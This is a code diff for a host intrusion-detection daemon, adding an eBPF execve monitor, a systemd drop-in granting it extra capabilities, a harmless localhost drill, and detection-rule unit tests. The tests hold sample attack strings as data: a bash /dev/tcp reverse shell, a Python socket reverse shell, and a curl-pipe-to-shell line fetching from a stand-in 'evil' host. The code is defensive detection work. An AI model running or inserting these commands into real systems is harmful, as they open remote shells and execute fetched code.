@@ -1,13 +1,14 @@
 # Maintainer: Enodia
 pkgname=enodia-sentinel
-pkgver=0.2.0
+pkgver=0.3.0
 pkgrel=1
 pkgdesc="Host intrusion-detection daemon — signature-based detection of reverse shells, LD_PRELOAD rootkits, fileless malware, and persistence tampering"
 arch=('any')
 url="https://github.com/Enodia/enodia-sentinel"
 license=('GPL-3.0-or-later')
 depends=('python>=3.11' 'iproute2' 'procps-ng')
-optdepends=('bpftrace: execve tracing of short-lived processes in snapshots'
+optdepends=('python-bpfcc: eBPF event-driven execve monitor (catches short-lived processes)'
+            'bpftrace: execve tracing of short-lived processes in snapshots'
             'libnotify: desktop notifications on alert')
 backup=('etc/enodia-sentinel.toml')
 source=()
diff --git a/pyproject.toml b/pyproject.toml
index 808abab..26750cd 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "enodia-sentinel"
-version = "0.2.0"
+version = "0.3.0"
 description = "Host intrusion-detection daemon — signature-based detection of reverse shells, LD_PRELOAD rootkits, fileless malware, and persistence tampering"
 readme = "README.md"
 requires-python = ">=3.11"
diff --git a/src/sentinel-redteam b/src/sentinel-redteam
index eef2f30..6c33128 100755
--- a/src/sentinel-redteam
+++ b/src/sentinel-redteam
@@ -110,6 +110,18 @@ drill_persistence() {
     echo "    -> wrote $SANDBOX/authorized_keys"
 }
 
+drill_ebpf_exec() {
+    note ebpf_exec "short-lived /tmp exec + reverse-shell-pattern argv (only the eBPF monitor catches these)"
+    cp /bin/true "$TMP/enodia-drill-exec" 2>/dev/null
+    "$TMP/enodia-drill-exec"   # runs and exits in <1ms — the poll loop can't see it (sid 100001)
+    # argv carries a /dev/tcp pattern -> sid 100002 (connects to discard:9, harmless)
+    ( exec -a enodia-drill-revsh bash -c 'cat < /dev/tcp/127.0.0.1/9 2>/dev/null; true' ) &
+    PIDS+=("$!")
+    echo "    -> fired a short-lived /tmp exec (sid 100001) and a /dev/tcp argv (sid 100002)"
+    echo "       NOTE: needs the eBPF monitor (run the service as root). With polling only"
+    echo "       these vanish between sweeps — which is exactly what the eBPF layer fixes."
+}
+
 run() {
     case "$1" in
         reverse_shell) drill_reverse_shell ;;
@@ -118,11 +130,12 @@ run() {
         new_listener)  drill_new_listener ;;
         new_suid)      drill_new_suid ;;
         persistence)   drill_persistence ;;
+        ebpf_exec)     drill_ebpf_exec ;;
         *) echo "unknown drill: $1" >&2; return 1 ;;
     esac
 }
 
-ALL=(reverse_shell ld_preload deleted_exe new_listener new_suid persistence)
+ALL=(reverse_shell ld_preload deleted_exe new_listener new_suid persistence ebpf_exec)
 
 if [ "${1:-}" = "--list" ]; then printf '%s\n' "${ALL[@]}"; exit 0; fi
 
@@ -135,11 +148,14 @@ echo "######################################################################"
 if [ "$#" -gt 0 ]; then targets=("$@"); else targets=("${ALL[@]}"); fi
 for d in "${targets[@]}"; do run "$d"; done
 
-echo -e "\n[*] drills live for ${HOLD}s. Triggering a Sentinel sweep check now:"
-if [ -x /usr/local/bin/sentinel.sh ]; then
-    sudo /usr/local/bin/sentinel.sh --check 2>/dev/null \
-        | grep -i drill && echo "    ^ Sentinel saw the drills." \
-        || echo "    (run 'sudo sentinel.sh --check' yourself, or watch events.log)"
+echo -e "\n[*] drills live for ${HOLD}s. Run a one-shot poll check now:"
+if command -v enodia-sentinel >/dev/null 2>&1; then
+    enodia-sentinel check 2>/dev/null | grep -i 'drill\|/tmp/enodia' \
+        && echo "    ^ Sentinel's poll detectors saw the drills." \
+        || echo "    (no poll hits yet — watch /var/log/enodia-sentinel/events.log)"
+else
+    echo "    (enodia-sentinel not on PATH — watch /var/log/enodia-sentinel/events.log)"
 fi
+echo "    The 'ebpf_exec' drill only shows up with the eBPF monitor (service as root)."
 echo "[*] holding for ${HOLD}s, then cleaning up..."
 sleep "$HOLD"
diff --git a/systemd/enodia-sentinel-ebpf.conf b/systemd/enodia-sentinel-ebpf.conf
new file mode 100644
index 0000000..fbabc4a
--- /dev/null
+++ b/systemd/enodia-sentinel-ebpf.conf
@@ -0,0 +1,17 @@
+# Drop-in to enable the eBPF execve monitor.
+# Install as:  /etc/systemd/system/enodia-sentinel.service.d/ebpf.conf
+#
+# The base unit is hardened for poll-only operation. bcc (the eBPF frontend)
+# JIT-compiles its programs at load time and loads/attaches BPF, which the base
+# unit's MemoryDenyWriteExecute and minimal capability set deliberately forbid.
+# This drop-in relaxes exactly those, and nothing else — a conscious tradeoff:
+# the event layer's value (catching short-lived processes) in exchange for a
+# wider privilege surface. If you don't need it, don't install this file.
+
+[Service]
+# bcc compiles eBPF to native code at runtime -> needs write+exec memory.
+MemoryDenyWriteExecute=no
+# CAP_BPF/CAP_PERFMON: load BPF + open perf buffers. CAP_SYS_ADMIN: attach
+# kprobes on many kernels. CAP_SYS_RESOURCE: raise the locked-memory limit.
+AmbientCapabilities=CAP_SYS_PTRACE CAP_DAC_READ_SEARCH CAP_BPF CAP_PERFMON CAP_SYS_ADMIN CAP_SYS_RESOURCE
+CapabilityBoundingSet=CAP_SYS_PTRACE CAP_DAC_READ_SEARCH CAP_BPF CAP_PERFMON CAP_SYS_ADMIN CAP_SYS_RESOURCE
diff --git a/tests/test_exec_rules.py b/tests/test_exec_rules.py
new file mode 100644
index 0000000..7e5655e
--- /dev/null
+++ b/tests/test_exec_rules.py
@@ -0,0 +1,101 @@
+# SPDX-License-Identifier: GPL-3.0-or-later
+"""Tests for the Snort-style execve rule engine (pure, no kernel needed)."""
+import unittest
+
+from enodia_sentinel.alert import Severity
+from enodia_sentinel.events.exec_event import ExecEvent
+from enodia_sentinel.events.rules import (
+    DEFAULT_EXEC_RULES,
+    ExecRule,
+    ExecRuleEngine,
+)
+
+
+def ev(filename="/usr/bin/ls", argv=(), parent="bash", pid=10, ppid=9, uid=0):
+    return ExecEvent(pid=pid, ppid=ppid, uid=uid, parent_comm=parent,
+                     filename=filename, argv=tuple(argv))
+
+
+class TestExecEvent(unittest.TestCase):
+    def test_derived_fields(self):
+        e = ev(filename="/tmp/x", argv=("-c", "echo hi"))
+        self.assertEqual(e.exec_comm, "x")
+        self.assertEqual(e.argv_str, "/tmp/x -c echo hi")
+
+
+class TestDefaultRules(unittest.TestCase):
+    def setUp(self):
+        self.engine = ExecRuleEngine()
+
+    def sids(self, e):
+        return {a.sid for a in self.engine.match(e)}
+
+    def test_fileless_tmp_exec(self):
+        self.assertIn(100001, self.sids(ev(filename="/tmp/.x/dropper")))
+        self.assertIn(100001, self.sids(ev(filename="/dev/shm/payload")))
+
+    def test_normal_path_no_fileless(self):
+        self.assertNotIn(100001, self.sids(ev(filename="/usr/bin/python3")))
+
+    def test_reverse_shell_devtcp(self):
+        e = ev(filename="/bin/bash",
+               argv=("-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"))
+        self.assertIn(100002, self.sids(e))
+
+    def test_reverse_shell_python(self):
+        e = ev(filename="/usr/bin/python3",
+               argv=("-c", "import socket,os,pty;s=socket.socket();pty.spawn('/bin/sh')"))
+        self.assertIn(100002, self.sids(e))
+
+    def test_benign_command_no_reverse_shell(self):
+        self.assertNotIn(100002, self.sids(ev(filename="/usr/bin/ls", argv=("-la",))))
+
+    def test_web_rce_shell_from_nginx(self):
+        e = ev(filename="/bin/sh", parent="nginx", argv=("-c", "id"))
+        sids = self.sids(e)
+        self.assertIn(100003, sids)
+
+    def test_web_rce_requires_interpreter_child(self):
+        # nginx spawning a normal helper is not an interpreter -> no web-rce
+        e = ev(filename="/usr/bin/convert", parent="nginx")
+        self.assertNotIn(100003, self.sids(e))
+
+    def test_login_shell_not_web_rce(self):
+        # sshd spawning bash is a normal login, not in the web/db server set
+        e = ev(filename="/bin/bash", parent="sshd")
+        self.assertNotIn(100003, self.sids(e))
+
+    def test_curl_pipe_sh(self):
+        e = ev(filename="/bin/sh",
+               argv=("-c", "curl http://evil/x.sh | sh"))
+        self.assertIn(100004, self.sids(e))
+
+    def test_severities(self):
+        sev = {r.sid: r.severity for r in DEFAULT_EXEC_RULES}
+        self.assertEqual(sev[100001], Severity.CRITICAL)
+        self.assertEqual(sev[100002], Severity.CRITICAL)
+        self.assertEqual(sev[100004], Severity.HIGH)
+
+    def test_alert_carries_sid_and_classtype(self):
+        e = ev(filename="/tmp/x")
+        alert = next(iter(self.engine.match(e)))
+        self.assertEqual(alert.sid, 100001)
+        self.assertEqual(alert.classtype, "fileless-execution")
+        self.assertEqual(alert.pids, (e.pid,))
+
+
+class TestRuleValidation(unittest.TestCase):
+    def test_rule_with_no_conditions_rejected(self):
+        with self.assertRaises(ValueError):
+            ExecRule(sid=999, msg="x", severity=Severity.HIGH, classtype="y")
+
+    def test_parent_exclude(self):
+        rule = ExecRule(sid=1, msg="m", severity=Severity.HIGH, classtype="c",
+                        exec_comm=frozenset({"bash"}),
+                        parent_exclude=frozenset({"sshd"}))
+        self.assertTrue(rule.matches(ev(filename="/bin/bash", parent="cron")))
+        self.assertFalse(rule.matches(ev(filename="/bin/bash", parent="sshd")))
+
+
+if __name__ == "__main__":
+    unittest.main()